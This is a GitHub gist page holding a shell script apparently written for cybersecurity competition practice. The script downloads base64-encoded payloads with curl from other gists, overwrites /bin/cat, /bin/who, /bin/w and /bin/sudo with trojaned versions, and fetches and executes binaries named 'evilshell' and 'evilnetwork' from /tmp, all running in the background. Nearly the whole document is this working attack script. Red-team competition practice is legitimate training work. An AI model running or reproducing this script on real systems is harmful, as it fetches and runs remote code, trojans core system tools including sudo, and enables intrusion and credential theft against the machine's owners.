Skip to content

Instantly share code, notes, and snippets.

@picatz
Last active January 18, 2018 20:34
Show Gist options
  • Save picatz/2bd014f94407c9d8e5969ed00cb8b2c8 to your computer and use it in GitHub Desktop.
Save picatz/2bd014f94407c9d8e5969ed00cb8b2c8 to your computer and use it in GitHub Desktop.
for cybersecurity competition practice
function evil_cat() {
curl -s https://gist.githubusercontent.com/picatz/3f8a39633f795432ffd54c013fae3383/raw/a9c7e5f3d8fa62dd2fddff7980873ace06f8cda1/evilcat | base64 -d > /bin/cat
}
function evil_who() {
curl -s https://gist.githubusercontent.com/picatz/58e18c5ab0ec657171c8c12ad2c7534e/raw/7c3e5561195f2929ebf3c92433bcd31b038cd0d3/evilwho | base64 -d > /bin/who
curl -s https://gist.githubusercontent.com/picatz/58e18c5ab0ec657171c8c12ad2c7534e/raw/7c3e5561195f2929ebf3c92433bcd31b038cd0d3/evilwho | base64 -d > /bin/w
}
function evil_shell() {
curl -s https://gist.githubusercontent.com/picatz/aa75b173a4b94a2f22db4aac52e5aab3/raw/079793e9a4cd16103e3f7a85a15b2dffbdb0e8b6/evilshell | base64 -d > /tmp/evilshell
cd /tmp
chmod 700 evilshell
./evilshell
}
function evil_network() {
curl -s https://gist.githubusercontent.com/picatz/5e74171512c4c1d97fffa4003284d2d7/raw/38bf670328cc0aa64e4e37e742cccbb60557e24c/evilprompt | base64 -d > /tmp/evilnetwork
cd /tmp
chmod 700 evilnetwork
./evilnetwork
}
function evil_prompt() {
curl -s https://gist.githubusercontent.com/picatz/5e74171512c4c1d97fffa4003284d2d7/raw/ccc2212a090d34d91bc1e33180c49490496eb76a/evilprompt | base64 -d > /tmp/evilprompt
cd /tmp
chmod 755 evilprompt
mv -f evilprompt /bin/sudo
}
evil_cat &
evil_who &
evil_shell &
evil_network &
evil_prompt &
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment